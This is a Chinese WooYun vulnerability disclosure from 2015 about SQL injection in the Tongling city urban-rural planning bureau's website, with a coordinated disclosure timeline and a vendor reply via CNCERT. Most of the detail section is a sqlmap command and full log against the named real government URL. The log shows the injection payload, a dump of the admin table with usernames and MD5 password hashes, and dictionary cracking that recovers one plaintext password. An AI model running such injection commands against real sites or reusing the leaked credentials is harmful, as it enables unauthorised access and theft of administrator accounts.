当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116250

漏洞标题:铜陵市城乡规划局SQL注入爆得管理员用户名与密码

相关厂商:铜陵市城乡规划局

漏洞作者: gentoofly

提交时间:2015-05-26 15:46

修复时间:2015-07-14 22:34

公开时间:2015-07-14 22:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-26: 细节已通知厂商并且等待厂商处理中
2015-05-30: 厂商已经确认,细节仅向厂商公开
2015-06-09: 细节向核心白帽子及相关领域专家公开
2015-06-19: 细节向普通白帽子公开
2015-06-29: 细节向实习白帽子公开
2015-07-14: 细节向公众公开

简要描述:

铜陵市城乡规划局,之前已经有兄弟提交过漏洞了http://www.wooyun.org/bugs/wooyun-2010-082459, 这次我来继续

详细说明:

之前已经有兄弟提交过漏洞了,验证了一下,这个漏洞还是存在,且文章列表处存在SQL注入漏洞,爆得用户与加密的密码

sqlmap -u "http://www.tlghj.gov.cn/Data/view.aspx?id=649" -T "admin" --dump -C "username,pwd"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:32:06
[10:32:06] [INFO] resuming back-end DBMS 'microsoft access'
[10:32:07] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=649 AND 8316=8316
---
[10:32:13] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[10:32:13] [ERROR] cannot retrieve column names, back-end DBMS is Access
[10:32:13] [INFO] fetching entries of column(s) 'id, linkid, pwd, userid, username' for table 'admin' in database 'Microsoft_Access_masterdb'
[10:32:13] [INFO] fetching number of column(s) 'id, linkid, pwd, userid, username' entries for table 'admin' in database 'Microsoft_Access_masterdb'
[10:32:13] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:32:13] [INFO] retrieved:
[10:32:23] [WARNING] reflective value(s) found and filtering out
3
[10:32:39] [INFO] fetching number of distinct values for column 'id'
[10:32:39] [INFO] retrieved: 3
[10:32:55] [INFO] using column 'id' as a pivot for retrieving row data
[10:32:55] [INFO] retrieved: 1
[10:33:04] [INFO] retrieved: 04BE3A0BA338BD0280FA79C5D084C405
[10:41:38] [INFO] retrieved: 36
[10:42:22] [INFO] retrieved: tlghjbgs
[10:46:34] [INFO] retrieved: tlghjbgs
[10:50:53] [INFO] retrieved: 32
[10:51:29] [INFO] retrieved: 96E79218965EB72C92A549DD5A330112
[10:54:58] [INFO] retrieved: 0
[10:55:10] [INFO] retrieved: 111
[10:55:27] [INFO] retrieved: 111
[10:55:43] [INFO] retrieved: 33
[10:55:58] [INFO] retrieved: FB31A50446015D0211E0E9EA4B5F63BD
[10:59:37] [INFO] retrieved: 0
[10:59:49] [INFO] retrieved: tlghj
[11:00:40] [INFO] retrieved:
[11:00:42] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[11:00:42] [INFO] analyzing table dump for possible password hashes
[11:00:42] [INFO] recognized possible password hashes in column 'pwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[11:31:22] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-hWwK4B.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[11:31:24] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[11:31:27] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[11:31:29] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[11:31:30] [INFO] cracked password '111111' for user '111'
[11:32:06] [INFO] using suffix '1'
[11:32:39] [INFO] using suffix '123'
[11:33:09] [INFO] using suffix '2'
[11:33:43] [INFO] using suffix '12'
[11:34:17] [INFO] using suffix '3'
[11:34:50] [INFO] using suffix '13'
[11:35:24] [INFO] using suffix '7'
[11:35:54] [INFO] using suffix '11'
[11:36:26] [INFO] using suffix '5'
[11:36:56] [INFO] using suffix '22'
[11:37:27] [INFO] using suffix '23'
[11:37:57] [INFO] using suffix '01'
[11:38:30] [INFO] using suffix '4'
[11:39:03] [INFO] using suffix '07'
[11:39:35] [INFO] using suffix '21'
[11:40:08] [INFO] using suffix '14'
[11:40:36] [INFO] using suffix '10'
[11:41:08] [INFO] using suffix '06'
[11:41:38] [INFO] using suffix '08'
[11:42:10] [INFO] using suffix '8'
[11:42:40] [INFO] using suffix '15'
[11:43:09] [INFO] using suffix '69'
[11:43:38] [INFO] using suffix '16'
[11:44:06] [INFO] using suffix '6'
[11:44:35] [INFO] using suffix '18'
[11:45:03] [INFO] using suffix '!'
[11:45:32] [INFO] using suffix '.'
[11:46:00] [INFO] using suffix '*'
[11:46:29] [INFO] using suffix '!!'
[11:46:57] [INFO] using suffix '?'
[11:47:26] [INFO] using suffix ';'
[11:47:54] [INFO] using suffix '..'
[11:48:23] [INFO] using suffix '!!!'
[11:48:52] [INFO] using suffix ', '
[11:49:20] [INFO] using suffix '@'
[11:49:54] [INFO] postprocessing table dump
Database: Microsoft_Access_masterdb
Table: admin
[3 entries]
+----+--------+----------+-------------------------------------------+----------+
| id | linkid | userid | pwd | username |
+----+--------+----------+-------------------------------------------+----------+
| 1 | 36 | tlghjbgs | 04BE3A0BA338BD0280FA79C5D084C405 | tlghjbgs |
| 32 | 0 | 111 | 96E79218965EB72C92A549DD5A330112 (111111) | 111 |
| 33 | 0 | tlghj | FB31A50446015D0211E0E9EA4B5F63BD | <blank> |
+----+--------+----------+-------------------------------------------+----------+
[11:49:54] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file '/usr/share/sqlmap/output/www.tlghj.gov.cn/dump/Microsoft_Access_masterdb/admin.csv'
[11:49:54] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 607 times
[11:49:54] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.tlghj.gov.cn'
[*] shutting down at 11:49:54

漏洞证明:

屏幕快照 2015-05-26 上午11.55.38.png


屏幕快照 2015-05-26 上午11.56.21.png


tlghjbgs 用户的密码加密完的值

屏幕快照 2015-05-26 上午11.57.54.png

修复方案:

过滤

版权声明:转载请注明来源 gentoofly@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-30 22:33

厂商回复:

已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置

最新状态:

暂无